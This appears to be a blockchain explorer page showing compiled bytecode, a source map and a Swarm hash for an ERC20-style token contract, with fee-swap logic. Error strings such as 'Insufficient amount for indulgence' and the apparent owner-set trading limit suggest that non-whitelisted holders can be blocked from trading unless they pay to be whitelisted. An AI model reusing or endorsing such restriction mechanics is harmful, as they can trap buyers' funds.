56109a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109cd9190611506565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b30600090815260026020526040812054341015610a535760405162461bcd60e51b815260206004820152602260248201527f496e73756666696369656e7420616d6f756e7420666f7220696e64756c67656e604482015261636560f01b6064820152608401610546565b50336000908152600460205260409020805460ff1916600190811790915590565b6007546001600160a01b03163314610a8b57600080fd5b6000600955565b6000610ad483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112f565b9392505050565b6001600160a01b038316610b3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610546565b6001600160a01b038216610b9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610546565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610546565b6001600160a01b038216610cc55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610546565b60008111610d275760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610546565b6001600160a01b03831660009081526004602052604090205460ff16610d8d57600954600b546001600160a01b038481169116148015610d755750600a546001600160a01b03858116911614155b610d80576000610d82565b815b1115610d8d57600080fd5b6000546001600160a01b03848116911614801590610db957506000546001600160a01b03838116911614155b15610edc57600b546001600160a01b038481169116148015610de95750600a546001600160a01b03838116911614155b8015610e0e57506001600160a01b03821660009081526004602052604090205460ff16155b15610e64576008548110610e645760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610546565b30600090815260026020526040902054600b54600160a81b900460ff16158015610e9c5750600b546001600160a01b03858116911614155b8015610eb15750600b54600160b01b900460ff165b15610eda57610ebf81610fb5565b47670de0b6b3a76400008110610ed857610ed847610f77565b505b505b6001600160a01b038216600090815260046020526040902054610f389084908490849060ff1680610f2557506001600160a01b03871660009081526004602052604090205460ff165b610f315760065461115d565b600061115d565b505050565b60008184841115610f615760405162461bcd60e51b81526004016105469190611381565b506000610f6e848661154a565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fb1573d6000803e3d6000fd5b5050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ffd57610ffd611561565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611056573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107a91906114c7565b8160018151811061108d5761108d611561565b6001600160a01b039283166020918202929092010152600a546110b39130911684610adb565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ec908590600090869030904290600401611577565b600060405180830381600087803b15801561110657600080fd5b505af115801561111a573d6000803e3d6000fd5b5050600b805460ff60a81b1916905550505050565b600081836111505760405162461bcd60e51b81526004016105469190611381565b506000610f6e84866115e8565b6000611174606461116e8585611261565b90610a92565b9050600061118284836112e0565b6001600160a01b0387166000908152600260205260409020549091506111a890856112e0565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546111d79082611322565b6001600160a01b0386166000908152600260205260408082209290925530815220546112039083611322565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261127057506000610427565b600061127c838561160a565b90508261128985836115e8565b14610ad45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610546565b6000610ad483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f3d565b60008061132f8385611629565b905083811015610ad45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610546565b600060208083528351808285015260005b818110156113ae57858101830151858201604001528201611392565b818111156113c0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104b757600080fd5b600080604083850312156113fe57600080fd5b8235611409816113d6565b946020939093013593505050565b60008060006060848603121561142c57600080fd5b8335611437816113d6565b92506020840135611447816113d6565b929592945050506040919091013590565b60006020828403121561146a57600080fd5b8135610ad4816113d6565b60006020828403121561148757600080fd5b5035919050565b600080604083850312156114a157600080fd5b82356114ac816113d6565b915060208301356114bc816113d6565b809150509250929050565b6000602082840312156114d957600080fd5b8151610ad4816113d6565b6000602082840312156114f657600080fd5b81518015158114610ad457600080fd5b60008060006060848603121561151b57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008282101561155c5761155c611534565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115c75784516001600160a01b0316835293830193918301916001016115a2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261160557634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561162457611624611534565b500290565b6000821982111561163c5761163c611534565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208bb366635d54da7a19eeeef6feaa9f71101f29fb45b56301bfa7d2254ea3d0df64736f6c634300080a0033

Deployed Bytecode Sourcemap

4670:6416:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5911:74;;;;;;;;;;-1:-1:-1;5154:10:0;;;;;;;;;;;;-1:-1:-1;;;5154:10:0;;;;5911:74;;;;;;;:::i;:::-;;;;;;;;6653:146;;;;;;;;;;-1:-1:-1;6653:146:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;6653:146:0;1072:187:1;6152:86:0;;;;;;;;;;-1:-1:-1;6226:7:0;;6152:86;;;1410:25:1;;;1398:2;1383:18;6152:86:0;1264:177:1;6804:292:0;;;;;;;;;;-1:-1:-1;6804:292:0;;;;;:::i;:::-;;:::i;6073:74::-;;;;;;;;;;-1:-1:-1;6073:74:0;;3962:1;2049:36:1;;2037:2;2022:18;6073:74:0;1907:184:1;10941:138:0;;;;;;;;;;;;;:::i;:::-;;9598:73;;;;;;;;;;;;;:::i;9768:314::-;;;;;;;;;;;;;:::i;7175:74::-;;;;;;;;;;-1:-1:-1;7233:11:0;;7175:74;;6243:109;;;;;;;;;;-1:-1:-1;6243:109:0;;;;;:::i;:::-;-1:-1:-1;;;;;6330:17:0;6309:7;6330:17;;;:8;:17;;;;;;;6243:109;4526:133;;;;;;;;;;;;;:::i;8907:102::-;;;;;;;;;;-1:-1:-1;8907:102:0;;;;;:::i;:::-;;:::i;4342:70::-;;;;;;;;;;-1:-1:-1;4380:7:0;4401:6;4342:70;;-1:-1:-1;;;;;4401:6:0;;;2494:51:1;;2482:2;2467:18;4342:70:0;2348:203:1;5990:78:0;;;;;;;;;;-1:-1:-1;5202:12:0;;;;;;;;;;;;-1:-1:-1;;;5202:12:0;;;;5990:78;;9474:119;;;;;;;;;;-1:-1:-1;9474:119:0;;;;;:::i;:::-;;:::i;6357:152::-;;;;;;;;;;-1:-1:-1;6357:152:0;;;;;:::i;:::-;;:::i;10797:139::-;;;;;;;;;;;;;:::i;6514:134::-;;;;;;;;;;-1:-1:-1;6514:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;6616:18:0;;;6595:7;6616:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6514:134;8806:96;;;;;;;;;;-1:-1:-1;8806:96:0;;;;;:::i;:::-;;:::i;10087:220::-;;;;;;;;;;;;;:::i;7254:201::-;;;:::i;7101:69::-;;;;;;;;;;;;;:::i;6653:146::-;6728:4;6739:39;2104:10;6762:7;6771:6;6739:8;:39::i;:::-;-1:-1:-1;6790:4:0;6653:146;;;;;:::o;6804:292::-;6902:4;6913:36;6923:6;6931:9;6942:6;6913:9;:36::i;:::-;6954:121;6963:6;2104:10;6985:89;7023:6;6985:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6985:19:0;;;;;;:11;:19;;;;;;;;2104:10;6985:33;;;;;;;;;;:37;:89::i;:::-;6954:8;:121::i;:::-;-1:-1:-1;7087:4:0;6804:292;;;;;:::o;10941:138::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;11016:21:::1;11042:32;11016:21:::0;11042:12:::1;:32::i;:::-;10982:97;10941:138::o:0;9598:73::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;9659:7:::1;::::0;9646:12:::1;:20:::0;9598:73::o;9768:314::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;9831:9:::1;::::0;-1:-1:-1;;;9831:9:0;::::1;;;9830:10;9822:45;;;::::0;-1:-1:-1;;;9822:45:0;;3336:2:1;9822:45:0::1;::::0;::::1;3318:21:1::0;3375:2;3355:18;;;3348:30;3414:25;3394:18;;;3387:53;3457:18;;9822:45:0::1;;;;;;;;;9904:8;::::0;9915:7:::1;::::0;9872:51:::1;::::0;9889:4:::1;::::0;-1:-1:-1;;;;;9904:8:0;;::::1;::::0;9872::::1;:51::i;:::-;9954:8;;;;;;;;;-1:-1:-1::0;;;;;9954:8:0::1;-1:-1:-1::0;;;;;9954:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9936:48:0::1;;9993:4;10000:8;;;;;;;;;-1:-1:-1::0;;;;;10000:8:0::1;-1:-1:-1::0;;;;;10000:13:0::1;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9936:80;::::0;-1:-1:-1;;;;;;9936:80:0::1;::::0;;;;;;-1:-1:-1;;;;;3972:15:1;;;9936:80:0::1;::::0;::::1;3954:34:1::0;4024:15;;4004:18;;;3997:43;3889:18;;9936:80:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9928:5;:88:::0;;-1:-1:-1;;;;;;9928:88:0::1;-1:-1:-1::0;;;;;9928:88:0;;::::1;::::0;;::::1;::::0;;;10051:8:::1;::::0;10021:56:::1;::::0;-1:-1:-1;;;10021:56:0;;10051:8;::::1;10021:56;::::0;::::1;4225:51:1::0;-1:-1:-1;;4292:18:1;;;4285:34;9928:88:0;10021:21:::1;::::0;4198:18:1;;10021:56:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;4526:133::-:0;4451:6;;-1:-1:-1;;;;;4451:6:0;2104:10;4451:22;4443:67;;;;-1:-1:-1;;;4443:67:0;;4814:2:1;4443:67:0;;;4796:21:1;;;4833:18;;;4826:30;4892:34;4872:18;;;4865:62;4944:18;;4443:67:0;4612:356:1;4443:67:0;4627:1:::1;4611:6:::0;;4590:40:::1;::::0;-1:-1:-1;;;;;4611:6:0;;::::1;::::0;4590:40:::1;::::0;4627:1;;4590:40:::1;4652:1;4635:19:::0;;-1:-1:-1;;;;;;4635:19:0::1;::::0;;4526:133::o;8907:102::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;-1:-1:-1;;;;;8973:25:0::1;8999:5;8973:25:::0;;;:18:::1;:25;::::0;;;;:31;;-1:-1:-1;;8973:31:0::1;::::0;;8907:102::o;9474:119::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;3812:2:::1;9542:10;:22;9534:31;;;::::0;::::1;;9570:7;:18:::0;9474:119::o;6357:152::-;6435:4;6446:42;2104:10;6470:9;6481:6;6446:9;:42::i;10797:139::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;10887:4:::1;10843:23;6330:17:::0;;;:8;:17;;;;;;10898:33:::1;6330:17:::0;10898:16:::1;:33::i;8806:96::-:0;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;-1:-1:-1;;;;;8867:25:0::1;;::::0;;;:18:::1;:25;::::0;;;;:30;;-1:-1:-1;;8867:30:0::1;8893:4;8867:30;::::0;;8806:96::o;10087:220::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;10135:8:::1;::::0;-1:-1:-1;;;;;10135:8:0::1;:24;10167:21;10198:4;10204:24;10198:4:::0;-1:-1:-1;;;;;6330:17:0;6309:7;6330:17;;;:8;:17;;;;;;;6243:109;10204:24:::1;10229:1;10231::::0;10233:7:::1;4380::::0;4401:6;-1:-1:-1;;;;;4401:6:0;;4342:70;10233:7:::1;10135:122;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10135:122:0;;;-1:-1:-1;;;;;5332:15:1;;;10135:122:0::1;::::0;::::1;5314:34:1::0;5364:18;;;5357:34;;;;5407:18;;;5400:34;;;;5450:18;;;5443:34;5514:15;;;5493:19;;;5486:44;10241:15:0::1;5546:19:1::0;;;5539:35;5248:19;;10135:122:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10262:12:0::1;:19:::0;;-1:-1:-1;;;;10286:16:0;-1:-1:-1;;;10286:16:0;;;-1:-1:-1;10087:220:0:o;7254:201::-;7350:4;7303;6330:17;;;:8;:17;;;;;;7321:9;:35;;7313:81;;;;-1:-1:-1;;;7313:81:0;;6098:2:1;7313:81:0;;;6080:21:1;6137:2;6117:18;;;6110:30;6176:34;6156:18;;;6149:62;-1:-1:-1;;;6227:18:1;;;6220:32;6269:19;;7313:81:0;5896:398:1;7313:81:0;-1:-1:-1;7418:10:0;7399:30;;;;:18;:30;;;;;:35;;-1:-1:-1;;7399:35:0;7430:4;7399:35;;;;;;7430:4;7254:201::o;7101:69::-;9430:10;;-1:-1:-1;;;;;9430:10:0;2104;9430:26;9422:36;;;;;;7164:1:::1;7152:11;:13:::0;7101:69::o;3478:123::-;3536:7;3557:39;3561:1;3564;3557:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3550:46;3478:123;-1:-1:-1;;;3478:123:0:o;7460:308::-;-1:-1:-1;;;;;7547:19:0;;7539:68;;;;-1:-1:-1;;;7539:68:0;;6501:2:1;7539:68:0;;;6483:21:1;6540:2;6520:18;;;6513:30;6579:34;6559:18;;;6552:62;-1:-1:-1;;;6630:18:1;;;6623:34;6674:19;;7539:68:0;6299:400:1;7539:68:0;-1:-1:-1;;;;;7620:21:0;;7612:68;;;;-1:-1:-1;;;7612:68:0;;6906:2:1;7612:68:0;;;6888:21:1;6945:2;6925:18;;;6918:30;6984:34;6964:18;;;6957:62;-1:-1:-1;;;7035:18:1;;;7028:32;7077:19;;7612:68:0;6704:398:1;7612:68:0;-1:-1:-1;;;;;7685:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7731:32;;1410:25:1;;;7731:32:0;;1383:18:1;7731:32:0;;;;;;;7460:308;;;:::o;7773:1028::-;-1:-1:-1;;;;;7855:18:0;;7847:68;;;;-1:-1:-1;;;7847:68:0;;7309:2:1;7847:68:0;;;7291:21:1;7348:2;7328:18;;;7321:30;7387:34;7367:18;;;7360:62;-1:-1:-1;;;7438:18:1;;;7431:35;7483:19;;7847:68:0;7107:401:1;7847:68:0;-1:-1:-1;;;;;7928:16:0;;7920:64;;;;-1:-1:-1;;;7920:64:0;;7715:2:1;7920:64:0;;;7697:21:1;7754:2;7734:18;;;7727:30;7793:34;7773:18;;;7766:62;-1:-1:-1;;;7844:18:1;;;7837:33;7887:19;;7920:64:0;7513:399:1;7920:64:0;8006:1;7997:6;:10;7989:64;;;;-1:-1:-1;;;7989:64:0;;8119:2:1;7989:64:0;;;8101:21:1;8158:2;8138:18;;;8131:30;8197:34;8177:18;;;8170:62;-1:-1:-1;;;8248:18:1;;;8241:39;8297:19;;7989:64:0;7917:405:1;7989:64:0;-1:-1:-1;;;;;8062:24:0;;;;;;:18;:24;;;;;;;;8058:119;;8159:11;;8109:5;;-1:-1:-1;;;;;8103:11:0;;;8109:5;;8103:11;:40;;;;-1:-1:-1;8134:8:0;;-1:-1:-1;;;;;8118:25:0;;;8134:8;;8118:25;;8103:40;8102:52;;8153:1;8102:52;;;8146:6;8102:52;8101:69;;8093:78;;;;;;4380:7;4401:6;-1:-1:-1;;;;;8187:15:0;;;4401:6;;8187:15;;;;:32;;-1:-1:-1;4380:7:0;4401:6;-1:-1:-1;;;;;8206:13:0;;;4401:6;;8206:13;;8187:32;8183:516;;;8239:5;;-1:-1:-1;;;;;8231:13:0;;;8239:5;;8231:13;:40;;;;-1:-1:-1;8262:8:0;;-1:-1:-1;;;;;8248:23:0;;;8262:8;;8248:23;;8231:40;:68;;;;-1:-1:-1;;;;;;8277:22:0;;;;;;:18;:22;;;;;;;;8275:24;8231:68;8227:146;;;8324:12;;8317:6;:19;8309:57;;;;-1:-1:-1;;;8309:57:0;;8529:2:1;8309:57:0;;;8511:21:1;8568:2;8548:18;;;8541:30;8607:28;8587:18;;;8580:56;8653:18;;8309:57:0;8327:350:1;8309:57:0;8429:4;8380:28;6330:17;;;:8;:17;;;;;;8446:7;;-1:-1:-1;;;8446:7:0;;;;8445:8;:25;;;;-1:-1:-1;8465:5:0;;-1:-1:-1;;;;;8457:13:0;;;8465:5;;8457:13;;8445:25;:41;;;;-1:-1:-1;8474:12:0;;-1:-1:-1;;;8474:12:0;;;;8445:41;8441:253;;;8495:38;8512:20;8495:16;:38::i;:::-;8569:21;3997:19;8600:35;;8597:91;;8645:35;8658:21;8645:12;:35::i;:::-;8488:206;8441:253;8221:478;8183:516;-1:-1:-1;;;;;8736:22:0;;;;;;:18;:22;;;;;;8705:91;;8720:4;;8725:2;;8728:6;;8736:22;;;:48;;-1:-1:-1;;;;;;8760:24:0;;;;;;:18;:24;;;;;;;;8736:48;8735:60;;8788:7;;8705:14;:91::i;8735:60::-;8786:1;8705:14;:91::i;:::-;7773:1028;;;:::o;3095:169::-;3181:7;3211:12;3203:6;;;;3195:29;;;;-1:-1:-1;;;3195:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3229:9:0;3241:5;3245:1;3241;:5;:::i;:::-;3229:17;3095:169;-1:-1:-1;;;;;3095:169:0:o;9676:83::-;9727:10;;:27;;-1:-1:-1;;;;;9727:10:0;;;;:27;;;;;9747:6;;9727:10;:27;:10;:27;9747:6;9727:10;:27;;;;;;;;;;;;;;;;;;;;;9676:83;:::o;9014:378::-;5454:7;:14;;-1:-1:-1;;;;5454:14:0;-1:-1:-1;;;5454:14:0;;;9110:16:::1;::::0;;9124:1:::1;9110:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9110:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9110:16:0::1;9086:40;;9149:4;9131;9136:1;9131:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9131:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9169:8:::1;::::0;:15:::1;::::0;;-1:-1:-1;;;9169:15:0;;;;:8;;;::::1;::::0;:13:::1;::::0;:15:::1;::::0;;::::1;::::0;9131:7;;9169:15;;;;;:8;:15:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9159:4;9164:1;9159:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9159:25:0;;::::1;:7;::::0;;::::1;::::0;;;;;:25;9221:8:::1;::::0;9189:55:::1;::::0;9206:4:::1;::::0;9221:8:::1;9232:11:::0;9189:8:::1;:55::i;:::-;9249:8;::::0;:138:::1;::::0;-1:-1:-1;;;9249:138:0;;-1:-1:-1;;;;;9249:8:0;;::::1;::::0;:59:::1;::::0;:138:::1;::::0;9314:11;;9249:8:::1;::::0;9338:4;;9356::::1;::::0;9367:15:::1;::::0;9249:138:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5479:7:0;:15;;-1:-1:-1;;;;5479:15:0;;;-1:-1:-1;;;;9014:378:0:o;3606:168::-;3692:7;3721:12;3714:5;3706:28;;;;-1:-1:-1;;;3706:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3739:9:0;3751:5;3755:1;3751;:5;:::i;10312:446::-;10418:13;10434:29;10459:3;10434:20;:7;10446;10434:11;:20::i;:::-;:24;;:29::i;:::-;10418:45;-1:-1:-1;10468:23:0;10494:18;:7;10418:45;10494:11;:18::i;:::-;-1:-1:-1;;;;;10538:16:0;;;;;;:8;:16;;;;;;10468:44;;-1:-1:-1;10538:29:0;;10559:7;10538:20;:29::i;:::-;-1:-1:-1;;;;;10519:16:0;;;;;;;:8;:16;;;;;;:48;;;;10594:19;;;;;;;:40;;10618:15;10594:23;:40::i;:::-;-1:-1:-1;;;;;10572:19:0;;;;;;:8;:19;;;;;;:62;;;;10682:4;10665:23;;;;:34;;10693:5;10665:27;:34::i;:::-;10656:4;10639:23;;;;:8;:23;;;;;;;;;:60;;;;10709:44;1410:25:1;;;-1:-1:-1;;;;;10709:44:0;;;;;;;;;;1383:18:1;10709:44:0;;;;;;;10413:345;;10312:446;;;;:::o;3269:204::-;3327:7;3345:6;3341:32;;-1:-1:-1;3366:1:0;3359:8;;3341:32;3377:9;3389:5;3393:1;3389;:5;:::i;:::-;3377:17;-1:-1:-1;3416:1:0;3407:5;3411:1;3377:17;3407:5;:::i;:::-;:10;3399:56;;;;-1:-1:-1;;;3399:56:0;;10790:2:1;3399:56:0;;;10772:21:1;10829:2;10809:18;;;10802:30;10868:34;10848:18;;;10841:62;-1:-1:-1;;;10919:18:1;;;10912:31;10960:19;;3399:56:0;10588:397:1;2963:127:0;3021:7;3042:43;3046:1;3049;3042:43;;;;;;;;;;;;;;;;;:3;:43::i;2800:158::-;2858:7;;2884:5;2888:1;2884;:5;:::i;:::-;2872:17;;2907:1;2902;:6;;2894:46;;;;-1:-1:-1;;;2894:46:0;;11325:2:1;2894:46:0;;;11307:21:1;11364:2;11344:18;;;11337:30;11403:29;11383:18;;;11376:57;11450:18;;2894:46:0;11123:351:1;14:597;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:180::-;2615:6;2668:2;2656:9;2647:7;2643:23;2639:32;2636:52;;;2684:1;2681;2674:12;2636:52;-1:-1:-1;2707:23:1;;2556:180;-1:-1:-1;2556:180:1:o;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3486:251::-;3556:6;3609:2;3597:9;3588:7;3584:23;3580:32;3577:52;;;3625:1;3622;3615:12;3577:52;3657:9;3651:16;3676:31;3701:5;3676:31;:::i;4330:277::-;4397:6;4450:2;4438:9;4429:7;4425:23;4421:32;4418:52;;;4466:1;4463;4456:12;4418:52;4498:9;4492:16;4551:5;4544:13;4537:21;4530:5;4527:32;4517:60;;4573:1;4570;4563:12;5585:306;5673:6;5681;5689;5742:2;5730:9;5721:7;5717:23;5713:32;5710:52;;;5758:1;5755;5748:12;5710:52;5787:9;5781:16;5771:26;;5837:2;5826:9;5822:18;5816:25;5806:35;;5881:2;5870:9;5866:18;5860:25;5850:35;;5585:306;;;;;:::o;8682:127::-;8743:10;8738:3;8734:20;8731:1;8724:31;8774:4;8771:1;8764:15;8798:4;8795:1;8788:15;8814:125;8854:4;8882:1;8879;8876:8;8873:34;;;8887:18;;:::i;:::-;-1:-1:-1;8924:9:1;;8814:125::o;9076:127::-;9137:10;9132:3;9128:20;9125:1;9118:31;9168:4;9165:1;9158:15;9192:4;9189:1;9182:15;9208:980;9470:4;9518:3;9507:9;9503:19;9549:6;9538:9;9531:25;9575:2;9613:6;9608:2;9597:9;9593:18;9586:34;9656:3;9651:2;9640:9;9636:18;9629:31;9680:6;9715;9709:13;9746:6;9738;9731:22;9784:3;9773:9;9769:19;9762:26;;9823:2;9815:6;9811:15;9797:29;;9844:1;9854:195;9868:6;9865:1;9862:13;9854:195;;;9933:13;;-1:-1:-1;;;;;9929:39:1;9917:52;;10024:15;;;;9989:12;;;;9965:1;9883:9;9854:195;;;-1:-1:-1;;;;;;;10105:32:1;;;;10100:2;10085:18;;10078:60;-1:-1:-1;;;10169:3:1;10154:19;10147:35;10066:3;9208:980;-1:-1:-1;;;9208:980:1:o;10193:217::-;10233:1;10259;10249:132;;10303:10;10298:3;10294:20;10291:1;10284:31;10338:4;10335:1;10328:15;10366:4;10363:1;10356:15;10249:132;-1:-1:-1;10395:9:1;;10193:217::o;10415:168::-;10455:7;10521:1;10517;10513:6;10509:14;10506:1;10503:21;10498:1;10491:9;10484:17;10480:45;10477:71;;;10528:18;;:::i;:::-;-1:-1:-1;10568:9:1;;10415:168::o;10990:128::-;11030:3;11061:1;11057:6;11054:1;11051:13;11048:39;;;11067:18;;:::i;:::-;-1:-1:-1;11103:9:1;;10990:128::o

Swarm Source

ipfs://8bb366635d54da7a19eeeef6feaa9f71101f29fb45b56301bfa7d2254ea3d0df
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.